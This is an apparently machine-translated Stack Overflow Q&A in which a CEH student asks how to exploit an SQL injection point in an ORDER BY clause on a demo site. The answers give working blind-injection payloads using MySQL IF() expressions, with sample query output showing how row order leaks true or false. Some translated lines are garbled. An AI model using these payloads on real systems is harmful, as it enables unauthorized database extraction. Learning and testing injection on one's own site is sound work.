我发现我的一个演示网站容易受到SQL注入的攻击(我目前正在做CEH)
发现的注入点如下:
SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [*INJECTION POINT FOUND HERE*]
现在我需要制作一些东西来帮助我利用我发现的这个注入点。据我所知,联合选择不会在ORDER BY
之后工作。但是,我确实认为盲目sql注入可能如下所示
SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [if 1=1 then 1,blank]
现在,如果在注入点发布1,则查询会给出错误,而如果将其保留为空,则查询将execute...THUS盲SQL注入将起作用
有没有人可以帮我用IF THEN ELSE
在SQL
中创建一个查询,因为我不知道如何在SQL中使用IF THEN ELSE
。
已尝试注入此程序,但不起作用
(IF (1=2) then 1 endif)
完整查询
SELECT column_1, column_2, column_3 from `table_1` WHERE `column_4` = '[*available injection point*]' order by id [*available injection point*] ASC limit [*available injection point*],[*available injection point*]
发布于 2013-06-23 02:15:28
如果id
在结果集中不是唯一的,并且有另一列的值在每个id
中是唯一的,则可以执行以下操作:
, unique_per_id
标识唯一的per ID值的顺序(必须仅与id
不同,如果可以通过, IF(1=1,unique_per_id,id)
.进行necessary).
id
上使用desc
示例:
mysql> select host,user from mysql.user order by user;
+-----------+------------------+
| host | user |
+-----------+------------------+
| localhost | root |
| 127.0.0.1 | root |
+-----------+------------------+
2 rows in set (0.00 sec)
mysql> select host,user from mysql.user order by user,host;
+-----------+------------------+
| host | user |
+-----------+------------------+
| 127.0.0.1 | root |
| localhost | root |
+-----------+------------------+
2 rows in set (0.00 sec)
mysql> select host,user from mysql.user order by user,if(1=1,host,user);
+-----------+------------------+
| host | user |
+-----------+------------------+
| 127.0.0.1 | root |
| localhost | root |
+-----------+------------------+
2 rows in set (0.00 sec)
mysql> select host,user from mysql.user order by user,if(1=0,host,user);
+-----------+------------------+
| host | user |
+-----------+------------------+
| localhost | root |
| 127.0.0.1 | root |
+-----------+------------------+
2 rows in set (0.00 sec)
因此,只要结果集使用if(expr,host,user)
的顺序与只使用host
(第二个查询)的顺序相同,条件expr
就为真。
发布于 2013-06-23 01:45:40
您可以注入:
+ IF(1=1, 1, 0)
生成的查询将是:
SELECT column_1,column_2,column_3
from table_1
where column_4='3'
order by id + IF(1=1, 1, 0)
https://stackoverflow.com/questions/17252442
复制相似问题